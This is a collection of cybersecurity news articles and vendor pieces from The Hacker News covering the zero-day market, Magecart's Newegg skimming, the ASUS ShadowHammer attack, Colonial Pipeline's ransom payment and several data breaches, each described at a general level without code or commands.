The zero-day flaw are the most important component for the design of an efficient cyber weapon, governments have recently created dedicated cyber units to the discovery and exploitation of unknown vulnerabilities, but in many cases this precious knowledge is sold by private entities on the underground, consider that governments are the primary buyers of the growing market of zero-day. But governments aren't unique buyers, exploit kits including zero-day are acquired also by non government actors buying, it has been estimated that the market is able to provide 85 exploits per day, a concerning number for the security industry.
Zero-day hunters are independent hackers but in the majority of cases are structured security firms that analyze every kind of software to discover flaws exploitable during a cyber attack and resell their knowledge to the highest bidder, no matter if it is a private company that will use it against a competitor of a foreign government.
The NSS Labs have recently issued an interesting study study titled "The Known Unknowns", it reports that every day during a period of observation lasted three years, high-paying buyers have had access to at least 60 vulnerabilities targeting common software produced by Adobe, Apple, Microsoft and Oracle.
"NSS Labs have analyzed ten years of data from two major vulnerability purchase programs, and the results reveal that on any given day over the past three years, privileged groups have had access to at least 58 vulnerabilities targeting Microsoft, Apple, Oracle, or Adobe. Further, it has been found that these vulnerabilities remain private for an averagfe of 151 days. These numbers are considered a minimum estimate of the "known unknowns", as it is unlikely that cyber criminals, brokers, or government agencies will ever share data about their operations.
Specialized companies are offering zero-day vulnerabilities for subscription fees that are well within the budget of. A determined attacker (for example, 25 zero-days per year for USD $2.5 million); this has broken the monopoly that nation states historically have held regarding ownership of the latest cyber weapon technology. Jointly, half a dozen boutique exploits providers have the capacity to offer more than 100 exploits per year. "
It has been estimated that every year zero-day hunters develop combined 100 exploits resulting in 85 privately known exploits at the ready on any particular day. Consider that this is a row estimation that not consider the data related to an independent group of hackers which activities are poorly known.
On the black market an exploit for a Windows OS sells for up to $250,000 according the BusinessWeek , a good incentive for hackers to focus their efforts in the discovery of zero-day.
What is very concerning is that in many cases the entity that discovers the zero-day, to maximize the gains offers its knowledge to hostile governments, governments that use it also to persecute dissidents or to attack adversary states.
The zero-day market follows its own rules, the commodities are high deperible, the transactions are instantaneous and the agreement between buyers and sellers is very sensitive.
"According to a recent article in The"New"York"Times, firms such as VUPEN (France), ReVuln (Malta), Netragard, Endgame Systems, and Exodus Intelligence (US) advertise that they sell knowledge of security vulnerabilities for cyber espionage. The average price lies between USD $40,000 and USD $160,000. Although some firms restrict their clientele, either based on country of origin or on decisions to sell to specific governments only, the ability to bypass this restriction through proxies seems entirely possible for determining cyber criminals. Based on service brochures and public reports, these providers can deliver at least 100 exclusive exploits per year."
In particular the US contractor Endgame Systems reportedly offer customers 25 exploits a year for $2.5 million.
The knowledge on the zero-day vulnerability could be bought on the underground market or it could be acquired through open "bug bounty" processes, following some interesting data on the principal programs:
Google paid approximately USD $580,000 over three years for 501 vulnerabilities discovered in the Chrome browser (= 28 percent of the patched vulnerabilities in the same period)
Mozilla paid approximately USD $570,00 over three years for 190 vulnerabilities discovered in its Firefox browser (= 24 percent of the patched vulnerabilities in the same period)
Facebook has paid approximately USD $1 million since the 2011 inception of its program.
Microsoft has paid approximately USD $100,000 since the June 2013 inception of its program for reporting new exploitation techniques
I've found the report very interesting, but we have to consider the lack of reliable information to further quantify "known unknowns" "that are in the hands of cyber criminals or that are privately developed through consulting contracts, the assertion that there are 100 exploits available to privileged groups on any given day must be considered a reasonable minimum estimate those privileged category.
The uncontrolled and unregulated sale of zero-day pose a real and present threat to the security of government organizations and private corporations and software users, it's quite impossible to imagine a future scenario.
| Vulnerability |
Malcon 2011 - Call for Papers | https://thehackernews.com/2011/09/malcon-2011-call-for-papers.html | Malcon 2011 - Call for Papers
Malcon is the worlds first platform bringing together Malware and Information Security Researchers from across the globe to share key research insights into building and containment of the next generation malwares .
Call for Papers:
Malcon 2011 are looking for new techniques, tool releases,unique research and about anything that's breath-taking, related to Malwares. The papers and research work could be under any of the broad categories mentioned below :
Hacking Tools: Phishing Kits, code that aids any malware or malicious activity is welcome.
Malwares: Rootkit, Trojan, Botnet, Bootkit, Virus, Keylogger, Virtual Machine based Malware, Mobile OS Based Malware (Android, Symbian, IPhone etc.)
Malware creation tools: Toolkits to create any kind of malware
Web based malwares: Web-Shells, Browser Runtime Malwares (Javascript, Flash)
Malware Infection and propagation methodologies: Emerging Infection techniques, Intelligent target enumeration techniques, Web Based, Network Based, Cross-Platform Infection
Malware self-defence: AV Detection Techniques (Polymorphism, Metamorphism, VM, Injection, System Hooks, Memory Hijacking), Antivirus Exploitation Techniques, Anti-Reversing Techniques, Anti-Debugging Techniques, Techniques to bypass security mechanisms (AV, Anti-Malware Products), Secure Malware Communication (Command Control)
Venue Mumbai
Date 25th and 26th November 2011 . Inviting all malware researchers and coders to showcase their work at the international Malware Conference.
Read More Details Here and Contact Malcon at cfp[at]malcon.org
| Malware |
Hackers Steal Customers' Credit Cards From Newegg Electronics Retailer | https://thehackernews.com/2018/09/newegg-credit-card-hack.html | The notorious hacking group behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg.
Magecart hacking group managed to infiltrate the Newegg website and steal the credit card details of all customers who entered their payment card information between August 14 and September 18, 2018, according to a joint analysis from Volexity and RiskIQ.
Magecart hackers used what researchers called a digital credit card skimmer wherein they inserted a few lines of malicious Javascript code into the checkout page of Newegg website that captured payment information of customers making purchasing on the site and then send it to a remote server.
Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com on August 13, similar to Newegg's legitimate domain newegg.com, and acquired an SSL certificate issued for the domain by Comodo for their website.
A day later, the group inserted the skimmer code into the Newegg website at the payment processing page, so that it would not come into play until or unless the payment page was hit.
So, when customers add a product in their shopping cart, enter their delivery information during the first step of the check-out, and validate their address, the website takes them to the payment processing page to enter their credit card information.
As soon as the customer hit submit button after entering their credit card information, the skimmer code immediately sends a copy that data to the attacker's domain, i.e., neweggstats(dot)com without interrupting the checkout process.
Newegg Hack May Affect Millions of Customers
The attack affected both desktop and mobile customers, though it is still unclear how many customers were actually hit by this credit card breach.
However, considering that more than 50 million shoppers visit Newegg every month and that the malicious code was there for over one month, it could be assumed that this Magecart newest card skimming campaign has possibly stolen the payment information on millions of Newegg customers, even if only a fraction of those visitors make purchases.
Earlier this month, the Magecart hacking group breached the British Airways website and its mobile application and managed to walk away with a bounty of sensitive payment card data from 380,000 victims.
"The skimmer code [used in the Newegg breach] is recognizable from the British Airways incident, with the same basecode," RiskIQ researchers said.
"All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways."
In the Newegg case, the hackers used smaller skimmer code of "a tidy 15 lines of script," since it only had to serialize one form.
If you are one of those Newegg customers who entered their credit card details on the website during the attack period, you should immediately contact your bank, block your payment card, and request for a replacement.
However, the way Magecart is scooping up payment card data from popular services with relatively little efforts suggests that Newegg probably will not be its last target.
| Data_Breaches |
Warning: ASUS Software Update Server Hacked to Distribute Malware | https://thehackernews.com/2019/03/asus-computer-hacking.html | Remember the CCleaner hack?
CCleaner hack was one of the largest supply chain attacks that infected more than 2.3 million users with a backdoored version of the software in September 2017.
Security researchers today revealed another massive supply chain attack that compromised over 1 million computers manufactured by Taiwan-based tech giant ASUS.
A group of state-sponsored hackers last year managed to hijack ASUS Live automatic software update server between June and November 2018 and pushed malicious updates to install backdoors on over one million Windows computers worldwide.
According to cybersecurity researchers from Russian firm Kaspersky Lab, who discovered the attack and dubbed it Operation ShadowHammer, Asus was informed about the ongoing supply chain attack on Jan 31, 2019.
After analyzing over 200 samples of the malicious updates, researchers learned that hackers did not want to target all users, instead only a specific list of users identified by their unique MAC addresses, which were hardcoded into the malware.
"We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list," researchers say.
Like the CCleaner and ShadowPad hacks, the malicious file was signed with legitimate ASUS digital certificates in order to make it look an official software update from the company and to remain undetected for a long time.
Researchers didn't attribute the attack to any APT group at this moment, but certain evidence linked the latest attack to the ShadowPad incident from 2017, which Microsoft attributed to the BARIUM APT actors behind the Winnti backdoor.
"Recently, our colleagues from ESET wrote about another supply chain attack in which BARIUM was also involved, that we believe is connected to this case as well," researchers say.
According to Kaspersky, the backdoored version of ASUS Live Update was downloaded and installed by at least 57,000 Kaspersky users.
"We [researchers] are not able to calculate the total count of affected users based only on our data; however, we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide," Kaspersky says.
Symantec told Vice that the company identified the malware on more than 13,000 machines running its antivirus software.
Most of the victims Kaspersky detected are from Russia, Germany, France, Italy, and the United States, though the malware infected users from around the world.
Kaspersky has notified ASUS and other antivirus companies of the attack while the investigation into the matter is still ongoing.
The antivirus firm has also released an automated tool for users to check whether they had specifically been targeted by the ShadowHammer advanced persistent threat.
| Malware |
Account Takeover Vulnerability Found in Popular EA Games Origin Platform | https://thehackernews.com/2019/06/ea-origin-game-hacking.html | A popular gaming platform used by hundreds of millions of people worldwide has been found vulnerable to multiple security flaws that could have allowed remote hackers to takeover players' accounts and steal sensitive data.
The vulnerabilities in question reside in the "Origin" digital distribution platform developed by Electronic Arts (EA)—the world's second-largest gaming company with over 300 million users—that allows users to purchase and play some of the most popular video games including Battlefield, Apex Legends, Madden NFL, and FIFA.
The Origin platform also manages users EA Games account authentication and allows them to find friends, join games, and manage their profiles.
Discovered by researchers at Check Point and CyberInt, the vulnerabilities when chained together could have allowed attackers to hijack gamer's EA account just by convincing them into opening an official webpage from the EA Games website.
To perform this attack, as shown in the video demonstration, researchers took advantage of a long-known unpatched weakness in Microsoft's Azure cloud service that allowed them to takeover one of the EA subdomains, which was previously registered with Azure to host one of the Origin's services.
As explained in a previous report, if DNS (CNAME) of a domain/subdomain is pointing to Azure cloud platform but has not been configured or linked to an active Azure account, any other Azure user can hijack it to park that subdomain to his/her Azure server.
"During Cyber Int's research, though, [it] found that the ea-invite-reg.azurewebsites.net service was not in-use anymore within Azure cloud services; however, the unique subdomain eaplayinvite.ea.com still redirect to it using the CNAME configuration," CheckPoint researchers said in a report published today.
In their proof-of-concept attack, researchers hijacked "eaplayinvite.ea.com" and hosted a script on it that exploited weaknesses in the EA games' oAuth single sign-on (SSO) and TRUST mechanism.
The webpage eventually allowed the researchers to capture players secret SSO tokens just by convincing them into visiting it in the same web browser where they already have an active session on the EA website and takeover their accounts without requiring actual credentials.
"The TRUST mechanism exists between ea.com and origin.com domains and their subdomains. Successfully abusing the mechanism enabled our research team to manipulate the OAuth protocol implementation for full account takeover exploitation," researchers explained.
In a worst-case scenario, CheckPoint researchers said an attacker could have exploited these flaws to cause potential damage like gaining access to players' credit card information with the ability to fraudulently purchase in-game currency on behalf of the players.
CyberInt and Check Point immediately reported their findings to EA Games and helped the company fix the security loopholes to protect their gaming customers. The security firm went public with its findings today—almost three months after EA addressed the issues.
| Vulnerability |
Using Breached Password Detection Services to Prevent Cyberattack | https://thehackernews.com/2021/06/using-breached-password-detection.html | Bolstering password policies in your organization is an important part of a robust cybersecurity strategy. Cybercriminals are using compromised accounts as one of their favorite tactics to infiltrate business-critical environments; as we've seen in recent news, these attacks can be dangerous and financially impactful.
Unfortunately, account compromise is a very successful attack method and requires much less effort than other attack vectors.
One of the essential types of password protection recommended by noted cybersecurity standards is breached password detection. Hackers often use known breached password lists in credential stuffing or password spraying attacks.
Here are some critical criteria to consider when your sysadmins are evaluating breached password protection solutions.
Breached password recommendations
In the last few years, password security recommendations have evolved past the traditional recommendations regarding password security.
Businesses have used Microsoft Active Directory for years to implement password policies in the organization. Standard Active Directory password policies include minimal password configuration settings.
Below is an example of the settings offered with a conventional Active Directory Password Policy:
Enforce password history
Maximum password age
Minimum password age
Minimum password length
Minimum password length audit
Password must meet complexity requirements
Store password using reversible encryption
By default, Active Directory Password Policies do not include a solution to implement breached password protection.
Active Directory Password Policy settings
Why is it important for businesses to start thinking about breached password protection? Let's look at best practice recommendations from leading authorities in cybersecurity guidance.
New password policy recommendations
As mentioned, traditional password policies created using Active Directory are limited in features and capabilities. These allow creating basic password policies with standard length, complexity, age, and other requirements. However, there is no way to use native functionality to implement breached password protection.
While there is a means for implementing a password filter .dll in Active Directory to provision password dictionary protection, this is a manual process relying on the development of custom password filter .dll files.
New password policy guidance from leading cybersecurity authorities such as the National Institute of Standards and Technology (NIST) recommend breached password protection. The NIST Special Publication 800-63B SP 800-63B Section 5.1.1.2 paragraph 9 states:
"Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator."
Basically, NIST's guidance recommends that organizations should force a password change if there is evidence of a breach. For businesses to have proof of a password breach, they must have a way to monitor the password landscape for breached passwords. In addition to monitoring for passwords to become breached, as users choose new passwords, the new password choices need to be checked.
Evaluating breached password detection services
Breached password detection is a recommended best practice for an additional layer of cyberattack prevention. Consider the following functions as must-haves to pay close attention to when choosing a solution:
Ease of deployment
Proactive monitoring
Proactive password changes
Breached password database size
Integration with current Active Directory password policies
Ease of deployment
An essential consideration businesses need to make when choosing a third-party breached password solution is deployment ease. Look for solutions that are easily deployed using existing Active Directory infrastructure. Solutions that are difficult to deploy will likely lead to configuration issues and challenges with implementation and time to value. Look for solutions that make use of existing Active Directory infrastructure along with Group Policy that allows quickly making use of existing policies and infrastructure.
1 — Proactive monitoring
One of the essential requirements for breached password protection is proactive monitoring. Organizations need a solution that checks a password during the password set operation and proactively monitors the password landscape to find passwords that may become breached. This functionality helps to ensure passwords that may not be breached during creation, but become breached later, are correctly identified and can be remediated.
2 — Proactive password changes
Dovetailing into the proactive monitoring of breached passwords in the environment, organizations need to look for a breached password protection solution that proactively requires end-users to change their password if these become breached. This feature helps ensure any passwords that become breached in the environment are remediated as quickly as possible.
3 — Breached password database size
Keep in mind that all breached password protection services are not equal in the number of breached passwords checked. Breached password databases may vary between different services. The more extensive the breached password database, the better for protecting against breached passwords. If the quantity of breached passwords isn't transparently communicated, ask the vendor directly how many are included in their backend lists.
4 — Integration with current Active Directory password policies
Specops Breached Password Protection
Look for a breached password protection solution that can integrate with current Active Directory password policies. It means you can leave GPO assignments in place that assign various password policies to specific users and will help to prevent "reinventing the wheel."
Specops Breached Password Protection
The Specops Password Policy solution allows organizations to have powerful breached password protection as part of the environment's password security. Features include all the top requirements, like:
Proactive breached password monitoring and password change enforcement
Easily to deploy and integrates with existing Active Directory GPO-based password policies
Downloadable breached password database or API-based protection
Managed database of over 2-billion passwords and growing
With the API-based approach, you get real-time breached password protection for your organization's passwords
Using Specops Password Policy with Breached Password Protection, you can easily rollout breached password protection using GPO-based Active Directory Password Policies that are already in place.
To delve into the Specops Password Policy with Breached Password Protection, start a free trial anytime.
| Data_Breaches |
When Time is of the Essence – Testing Controls Against the Latest Threats Faster | https://thehackernews.com/2019/06/breach-attack-simulation.html | A new threat has hit head the headlines (Robinhood anyone?), and you need to know if you're protected right now. What do you do?
Traditionally, you would have to go with one of the options below.
Option 1 – Manually check that IoCs have been updated across your security controls.
This would require checking that security controls such as your email gateway, web gateway, and endpoint security have all been updated with the latest threats' indicators of compromise (IoCs) usually published by AV companies who detect the malware binaries first.
Option 2 – Create a 'carbon copy' of your network and run the threat's binary on that copy.
While safe, IT and security teams may be unaware of certain variations from the real deal. So while the attack simulation is running against an 'ideal' copy, your real network may have undergone inadvertent changes, such as a firewall running in monitoring mode, a patch not being installed on time, and other unintentional variations. The resulting mirror image has inadvertently become a 'filtered' one.
Option 3 – Build a homegrown simulation.
While effective, developing your own malware simulation is a time- and resource-intensive effort that usually requires a dedicated threats or vulnerability assessment team.
Moreover, even if you have the resources, the turnaround time for getting a live and safe simulation to work may not be ideal.
Option 4 – Run an automated simulation of the threat in your production environment.
What if you could challenge your controls with a threat on the day that it hits the headlines? This is where automated security effectiveness testing can help.
By running simulations of the latest cyber attacks against the controls required to detect them correctly, you can make sure your current security arsenal is catching risky IoCs, and close any gaps faster.
Testing Security Control Effectiveness Faster
Using a dedicated golden image of a standard workstation (or server), attack simulations can be run continually on a designated system in a production network. This way, a real user's data is not jeopardized, while enabling you to check the latest threat's ability to bypass your security controls.
By running ongoing or daily simulations of the newest menaces across your network, you can determine if your controls are catching IoCs such as command & control (C2) URLs and malicious file hashes.
Immediate Threats Available for Simulation After Their Discovery [click the image to view full size]
Real vs. Simulated Cyber Attacks – What's the Difference?
So what is the difference between a real attack and a simulated one? First and foremost, simulations usually run on a dedicated system to avoid compromising a real user's system.
For C2 communications, a simulation will attempt to establish a connection over HTTP/S, with an agent installed on the endpoint serving as a proxy to block any malicious requests sent and dropping the connection at the end of the test.
When testing endpoint security controls, rather than executing a real payload, one simulation technique involves dropping a malware sample to see if security controls can detect and remove it.
To test the effectiveness of an email gateway, a simulated attack will send emails with weaponized attachments that contain different malicious behaviors but are harmless to the target system. An agent sitting on top of the email client handles incoming emails and deletes them immediately thereafter.
Immediate Insights Against Immediate Threats
What kind of insights can simulations uncover? Challenging email security controls can reveal whether your email gateway is blocking multi-layer nested files, whether a policy is set up to filter out spoofed email addresses or rarely-used file formats, or whether archive files (e.g., ZIP) are scanned to prevent executables from landing in a user's mailbox.
To prevent drive-by-downloads, it may alert that your web gateway is not blocking downloads associated with the newest threat's URLs. And vis-à-vis endpoint security, you may learn that your current solution is failing to block or detect dropped payloads on disk.
Immediate Threats Simulation Results – Blocked or Penetrated [click the image to view full size]
Ready to test the effectiveness of your security controls against the very latest threats?
Get started here, or learn more about SaaS-based breach and attack simulation.
| Data_Breaches |
Data Breach Exposes 1.6 Million Jobless Claims Filed in the Washington State | https://thehackernews.com/2021/02/data-breach-exposes-16-million-jobless.html | The Office of the Washington State Auditor (SAO) on Monday said it's investigating a security incident that resulted in the compromise of personal information of more than 1.6 million people who filed for unemployment claims in the state in 2020.
The SAO blamed the breach on a software vulnerability in Accellion's File Transfer Appliance (FTA) service, which allows organizations to share sensitive documents with users outside their organization securely.
"During the week of January 25, 2021, Accellion confirmed that an unauthorized person gained access to SAO files by exploiting a vulnerability in Accellion's file transfer service," the SAO said in a statement.
The accessed information is said to have contained personal details of Washington state residents who filed unemployment insurance claims in 2020, as well as other data from local governments and state agencies.
The exact information that may have been compromised include:
Full name
Social security number
Driver's license
State identification number
Bank account number and bank routing number, and
Place of employment
The unauthorized access incident is believed to have occurred in late December of last year, although it appears the full scope of the intrusion wasn't made aware until Accellion disclosed earlier this month that its file transfer application was the "target of a sophisticated cyberattack."
The Palo Alto-based cloud solutions company said on January 11 that it was made aware of a vulnerability in its legacy FTA software in mid-December, following which it claimed it addressed the issue and released a patch "within 72 hours" to the less than 50 customers affected.
Accellion also said it's contracting with an "industry-leading cybersecurity forensics firm" to investigate the incident.
Given that the compromised information can be abused to carry out identity theft or fraud, the SAO said it's in the process of arranging measures to protect the identities of those whose information may have been contained within SAO's files.
In the meanwhile, the agency recommends reviewing account statements and credit reports, notifying financial institutions of any suspicious activity, and reporting any suspected incidents of identity theft to law enforcement.
It's worth noting that Accellion's FTA software was used as an attack vector to strike two other organizations, including the Australian Securities and Investments Commission (ASIC) and the Reserve Bank of New Zealand (RBNZ), in recent weeks.
| Vulnerability |
Colonial Pipeline Paid Nearly $5 Million in Ransom to Cybercriminals | https://thehackernews.com/2021/05/colonial-pipeline-paid-nearly-5-million.html | Colonial Pipeline on Thursday restored operations to its entire pipeline system nearly a week following a ransomware infection targeting its IT systems, forcing it to reportedly shell out nearly $5 million to regain control of its computer networks.
"Following this restart, it will take several days for the product delivery supply chain to return to normal," the company said in a statement on Thursday evening. "Some markets served by Colonial Pipeline may experience, or continue to experience, intermittent service interruptions during this start-up period. Colonial will move as much gasoline, diesel, and jet fuel as is safely possible and will continue to do so until markets return to normal."
The company's official website, however, has been taken offline as of writing with an access denied message "This request was blocked by the security rules."
Bloomberg, citing "two people familiar with the transaction," said the company made the payoff within hours after the DarkSide ransomware attack to get hold of a decryptor, which turned out to be so slow that Colonial instead used its own backups to recover systems rendered inoperational by the ransomware. Insurance Insider reported earlier this week the pipeline operator had about $15 million in cyber insurance cover.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) doesn't condone paying a ransom to criminal actors, as doing so may embolden adversaries to target more organizations and encourage other cybercriminals to engage in the distribution of ransomware. But affected entities have often opted to heed to the attackers demands, as it's the quickest way to resume normal function and prevent the risk of data exposure.
A 2019 ProPublica investigation revealed how insurance companies are fuelling the rise of ransomware threats by covering the cost minus a deductible, which is typically far less than the ransom demanded by attackers.
"Threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years," said cybersecurity firm FireEye, whose Mandiant subsidiary is leading the incident response efforts. "Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices."
The company's threat intelligence team is tracking five activity clusters associated with the deployment of DarkSide — including UNC2628, UNC2659, and UNC2465 — some of which have been active at least since April 2019.
DarkSide, advertised by a Russian-speaking actor named "darksupp" on Russian-language forums exploit.in and xss.is, operates as a ransomware-as-a-service (RaaS) outfit, with its creators taking a 25% cut for ransom payments under $500,000, a fee that decreases to 10% for payments greater than $5 million, per FireEye.
In the wake of the Colonial Pipeline attack, the operators of the DarkSide ransomware issued a statement on their dark web extortion site, pledging it intends to vet the companies its affiliates are targeting going forward to "avoid social consequences in the future." What's more, xss.is today announced a unilateral ban on ransomware promotions on the darknet cybercrime forum, likely in a bid to avoid unwanted attention.
"Ransomware became political," xss.is's admin said in a post revealed by Advanced Intel's Yelisey Boguslavskiy. "Peskov (Putin's press secretary) is forced to make excuses to our overseas 'friends' ... It is now equated with unpleasant things - geopolitics, extortion, government hacking. This word has become dangerous and toxic."
"RaaS partnerships lead to the establishment of a massive organic economy centered around top-Russian forums," Boguslavskiy noted. "Now, this economy may be entirely disrupted."
The recent wave of cyber assaults aimed at SolarWinds, Microsoft Exchange, and Colonial Pipeline has also prompted the U.S. government to take steps to shore up defenses by "protecting federal networks, improving information-sharing between the U.S. government and the private sector on cyber issues, and strengthening the United States' ability to respond to incidents when they occur."
| Malware |
Passwordstate Warns of Ongoing Phishing Attacks Following Data Breach | https://thehackernews.com/2021/04/passwordstate-warns-of-ongoing-phishing.html | Click Studios, the Australian software firm which confirmed a supply chain attack affecting its Passwordstate password management application, has warned customers of an ongoing phishing attack by an unknown threat actor.
"We have been advised a bad actor has commenced a phishing attack with a small number of customers having received emails requesting urgent action," the company said in an updated advisory released on Wednesday. "These emails are not sent by Click Studios."
Last week, Click Studios said attackers had employed sophisticated techniques to compromise Passwordstate's update mechanism, using it to drop malware on user computers. Only customers who performed In-Place Upgrades between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC are said to be affected.
While Passwordstate serves about 29,000 customers, the Adelaide-based firm maintained that the total number of impacted customers is very low. It's also urging users to refrain from posting correspondence from the company on social media, stating the actor behind the breach is actively monitoring such platforms for information pertaining to the attack in order to exploit it to their advantage for carrying out related intrusions.
The original attack was carried out via a trojanized Passwordstate update file containing a modified DLL ("moserware.secretsplitter.dll") that, in turn, extracted retrieved a second-stage payload from a remote server so as to extract sensitive information from compromised systems. As a countermeasure, Click Studios released a hotfix package named "Moserware.zip'' to help customers remove the tampered DLL and advised affected users to reset all passwords stored in the password manager.
The newly spotted phishing attack involves crafting seemingly legitimate email messages that "replicate Click Studios email content" — based on the emails that were shared by customers on social media — to push a new variant of the malware.
"The phishing attack is requesting customers to download a modified hotfix Moserware.zip file, from a CDN Network not controlled by Click Studios, that now appears to have been taken down," the company said. "Initial analysis indicates this has a newly modified version of the malformed Moserware.SecretSplitter.dll, that on loading then attempts to use an alternate site to obtain the payload file."
The Passwordstate hack is the latest high-profile supply-chain attack to come to light in recent months, highlighting how sophisticated threat groups are targeting software built by third parties as a stepping-stone to break into sensitive government and corporate computer networks.
| Data_Breaches |
South Korea hit by Android Trojan, Malware in Gaming apps and DDoS attack | https://thehackernews.com/2013/10/south-korea-hit-by-android-trojan.html | Last Tuesday, The National Police Agency of South Korea warned the people that many Malware infected video games being offered in the South Korean markets with the purpose of launching Cyber attacks on the Country.
That Malware is collecting location data and IP addresses of infected users and according to experts, malware is sending data back to its master servers based in North Korea.
Just today the Korea's largest anti-virus software firm AhnLab confirmed that they have detected distributed denial-of-service (DDoS) attacks on local companies' websites.
According to the report, about 16 websites of 13 companies, including Daum, MSN and the JoongAng Ilbo newspaper had been affected.
AhnLab said that some 10-thousand computers have been hit, mainly because they failed to install a vaccination program or update an existing one since the last cyber attack in July.
The attack was detected around 4:00 p.m. on Thursday, infecting around 10,000 computers until Friday.
It is possible that same infected systems were used to launch DDoS attacks today. Police advise the public to do not download gaming programs from unverified sources and to keep their Antivirus up to date.
Yesterday, we reported about another malicious campaign against South Korean Android users, where a Banking Trojan is specifically targeting South Korean banking applications for stealing user credentials.
In March, North Korea was suspected as responsible for for a malware attack that simultaneously wiped data from tens of thousands of South Korean computers.
| Malware |
Someone Hijacks Botnet Network & Replaces Malware with an Antivirus | https://thehackernews.com/2016/02/botnet-antivirus.html | The Dridex banking trojan that is widely being used by cyber criminals to distribute malware onto users' machines has now been found distributing a security software.
A portion of the Dridex banking Trojan botnet may have been hacked or compromised by an unknown Whitehat Hacker, who replaced the malicious links with Avira Antivirus installers.
What is Dridex Banking Trojan? How it Works?
Dridex malware – also known as Bugat and Cridex – is believed to have been created by cyber criminals in Eastern Europe in an effort to harvest online banking details. Even after a high-profile takedown operation in late 2015, the Dridex botnet seems to be active again.
The Dridex virus typically distributes itself through spam messages or emails that include malicious attachments, most often a Microsoft Office file or Word document integrated with malicious macros.
Once the malicious file has been clicked, the macros download and install the main payload of the virus – the trojan program itself – from a hijacked server, which installs and runs on the victim's computer.
The Dridex trojan program then creates a keylogger on the infected machine and manipulates banking websites with the help of transparent redirects and web-injects.
This results in stealing victim's personal data like usernames and passwords, with an ultimate aim to break into bank accounts and siphon off cash.
Hacker replaces Trojan with Anti-virus
However, the recent Hack Surprises: Instead of distributing banking trojan, a portion of the Dridex botnet currently seems to be spreading legitimate copies of the free anti-virus software from Avira, as the company has announced itself.
"The content behind the malware download [link] has been replaced, it is now providing [a legitimate], up-to-date Avira web installer instead of the usual Dridex loader," explained Avira malware expert Moritz Kroll, reported Reg.
Avira believes that the white hat hacker or hackers may have hacked into a portion of infected web servers using the same flaws the malware authors used and then replaced the malicious code with the Avira installer.
So, once infected, instead of receiving Dridex malware, the victims get a valid, signed copy of Avira antivirus software.
"We still don't know exactly who is doing this with our installer and why – but we have some theories," said Kroll. "This is certainly not something we are doing ourselves."
Although the motives behind including the Avira software is still unclear, these kinds of actions are considered to be illegal in many countries, said Kroll.
What can be done to protect From Malware Attacks?
The guidance for preventing yourself from being a part of the Dridex Banking Trojan botnet is:
Ensure you have an updated antivirus program running on your PC, which should be able to intercept the malicious attachments before they are opened.
One of the best measures for securing your online environment is to deploy an Intrusion Detection System (IDS) at the network layer, which is especially useful to quickly detect malware and other threats in your network when integrated with a real-time threat intelligence and SIEM (Security Intelligence and Event Monitoring) solution, such as AlienVault Unified Security Management (USM).
Be careful of opening email attachments sent from an unknown email address, particularly (in this case) Microsoft Word and Excel files.
Disable Macros in MS Office, or at least set the Macros to request permission before they run.
| Malware |
New Mac OS Malware exploited two known Java vulnerabilities | https://thehackernews.com/2013/09/new-mac-os-malware-exploited-two-known.html | A new Mac OS Malware has been discovered called OSX/Leverage.A, which appears to be yet another targeted command-and-control Trojan horse, that creates a backdoor on an affected user's machine.
The Trojan named 'Leverage' because the Trojan horse is distributed as an application disguised as a picture of two people kissing, possibly a scene from the television show "Leverage".
The attack launched via a Java applet from a compromised website and which drops a Java archive with the backdoor to the visitor's computer and launches it without a user intercation.
To perform the attack, Malware uses two recently disclosed Java vulnerabilies known as CVE-2013-2465 and CVE-2013-2471. Once it's installed, the Trojan connects to the C&C server on port 7777.
Security vendor Intego said that Malware linked to Syrian Electronic Army (SEA), because after installation Malware attempt to download an image associated with the Syrian Electronic Army, but the hacker group denies accusations it engaged in the manufacture of such malware.
Moreover, according to security researcher, malware is similar to what is used in a phishing attack by the Syrian hackers against The New York Times, Outbrain, and The Washington Post.
While this new malware is out there, but the threat level appears to be low and has affected a few people. Apple has now updated XProtect to detect Leverage and prevent it from launching.
| Vulnerability |
Over 51 Million Accounts Leaked from iMesh File Sharing Service | https://thehackernews.com/2016/06/imesh-data-breach.html | How many more data dumps does this hacker have with him that has yet to be exposed?
Well, no one knows the answer, but we were recently made aware of another data breach from Peace – the same Russian hacker who was behind the massive breaches in some of the most popular social media sites including LinkedIn, MySpace, Tumblr, and VK.com.
The hacker under the nickname "Peace" (or Peace_of_mind) is now selling over 51 Million records obtained from iMesh – now defunct peer-to-peer file sharing service.
The New York-based iMesh was one of the first and most popular file sharing services that allowed users to share multimedia files with their friends via the peer-to-peer (or P2P) protocol.
Launched in the late 90s, iMesh became the third-largest service in the United States in 2009, but the service was unexpectedly closed down last month.
LeakedSource, a search engine site that indexes leaked login credentials from data breaches, noted in a blog post that the company has obtained the database containing more than 51 Million accounts from iMesh.
The same database has also been made available for sale on The Real Deal Dark Web marketplace by the same hacker that also put up for sale data from LinkedIn, Tumblr, MySpace and Twitter.
The LeakedSource's analysis shows the database contains user information, including email addresses, usernames, passwords, IP addresses, location information and other information on users.
Though iMesh stored all passwords in hashed and salted format, the passwords were salted with the MD5 algorithm that is easy to break nowadays.
Based on the most recent records in the leaked database, the data breach search engine estimates the hacker breached iMesh on September 22, 2013.
The database contains 13.7 Million users from the US, around 4 Million from Turkey, over 3.5 Million from the UK, and remaining from other parts of the world. Most iMesh's users signed up with Hotmail (14.3 Million) and Yahoo (10.5 million) emails, and almost 1 Million users used 123456 as their password.
All the data is now up for sale on the dark web for just 0.5 Bitcoin (nearly US$335), so it's high time you changed your passwords for all social media sites immediately, especially if you use the same password for different websites.
| Data_Breaches |
